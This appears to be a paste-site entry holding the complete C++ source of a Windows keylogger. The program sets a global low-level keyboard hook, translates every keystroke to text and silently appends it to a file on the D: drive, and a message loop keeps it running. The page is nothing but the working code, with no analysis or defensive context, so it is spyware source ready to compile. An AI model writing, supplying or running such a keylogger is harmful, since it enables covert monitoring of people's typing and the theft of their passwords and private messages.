Untitled

 avatar
unknown
plain_text
2 years ago
1.1 kB
4
Indexable
#include <iostream>
#include <fstream>
#include <Windows.h>

LRESULT CALLBACK KeyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode == HC_ACTION && (wParam == WM_SYSKEYDOWN || wParam == WM_KEYDOWN)) {
        KBDLLHOOKSTRUCT* pKeyboardStruct = (KBDLLHOOKSTRUCT*)lParam;
        DWORD key = pKeyboardStruct->vkCode;

        std::ofstream outfile("D:/keys.txt", std::ios::app);
        if (outfile.is_open()) {
            char buffer[2];
            BYTE keyState[256];
            GetKeyboardState(keyState);

            if (ToAscii(key, pKeyboardStruct->scanCode, keyState, (LPWORD)buffer, 0) == 1) {
                outfile << buffer;
            }
            outfile.close();
        }
    }

    return CallNextHookEx(NULL, nCode, wParam, lParam);
}

int main() {
    HHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardHookProc, NULL, 0);
    MSG msg;

    while (GetMessage(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    UnhookWindowsHookEx(keyboardHook);

    return 0;
}
Editor is loading...